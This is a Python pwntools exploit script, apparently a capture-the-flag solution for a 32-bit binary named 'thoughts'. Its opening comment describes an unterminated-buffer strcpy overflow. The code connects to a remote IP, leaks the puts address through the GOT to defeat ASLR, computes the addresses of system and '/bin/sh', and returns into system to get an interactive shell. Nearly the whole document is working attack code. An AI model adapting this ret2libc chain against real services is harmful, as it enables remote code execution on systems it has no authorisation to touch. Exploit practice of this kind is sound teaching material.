#!/usr/bin/env python3

#This Challenge binary when checked with checksec has only nx bit enabled ..But there is something weird about this challenge which allocates user data in both good thoughts 
#and bad thoughts global variables....But there is a vulnerable strcpy in a bad thoughts which takes from bad thoughts variables..But the bad thoughts global variable is 
#taken input from read syscall within bounds of the variable to strcpy in that local variable.....I even came to a point that this binary is not even vulnerable to buffer
#overflow..So in just trying out different way on one method..It came segmentation fault which meant i kinda overfowed the stack..Then I understood that strcpy stop copying 
#only when a null is present ..The binary asks for two options send good thoughts or send bad thoughts..Bad thoughts is placed above good thoughts so the technique 
#is to place some padding for stack with random alphabets with the return address of puts and arguement of puts as got entry of puts and main function to return after 
#libc address has been leaked.. and then the bad thougts input would be to fill its full 32 bit with 'A's this filling with 
#left the bad thoughts buffer with no null in it which when copied into other buffer will also carry the value of good thoughts 
#global variable into the local buffer which would overwrite the return address which allows us to leak the libc and calculate its offset to system
#and /bin/sh and replaying this trick again we can return to system and /bin/sh to get shell.


from pwn import * 
e = ELF("./thoughts")
libc = ELF("./libc_thoughts.so.6")
r = remote("157.230.33.195",1111)
r.recv()
good = b"1"
bad = b"2"
r.sendline(good)                                #First send good thoughts to set the payload ready before vulnerable strcpy in bad thoughts 
libc_leaker= b"C" * 10 + b"D" * 2 + p32(e.plt['puts']) + p32(e.symbols['main']) + p32(e.got['puts'])  #payload to leak libc
r.sendline(libc_leaker)
r.recvline()
r.sendline(bad)                     #Now to send bad thoughts to full up the buffer with no nulls to force the strcpy to copy the good thoughts into local stack which will 
padding = b"B" * 32                 #leak the libc address of puts
r.sendline(padding)
r.recv()
r.recvline()
r.recvline()
address = u32(r.recvuntil(b"\xf7").decode("latin-1").ljust(4,"\x00"))  #Get the libc address to calculate offset for the base and system function address
log.info("The leaked libc address is " + hex(address))                 #A terminal log on leaked libc address,base address system function address and bin_sh address
libc_base = address - libc.symbols['puts']
log.info("The base address is " + hex(libc_base))
r.recvline()
r.recv()
r.sendline(b"1")
rop = ROP(e)
ret = rop.find_gadget(['ret'])[0]                                      #A ret gadget to prevent movaps instruction stack alignemt error when jumping to system
system = libc_base + 284720
bin_sh = libc_base + 1647442 
log.info("The address of system function is " + hex(system))
log.info("The address of strings /bin/sh is " + hex(bin_sh))
exploit = b"C" * 10 + b"D" * 2 + p32(system) + b"AAAA" + p32(bin_sh)   #Repeating the same method now to call system('/bin/sh') to get shell  
r.sendline(exploit)
r.recvline()
r.sendline(b"2")
padding = b"B" * 32
r.recv()
r.sendline(padding)
r.recv()
r.interactive()                                                        
r.close()
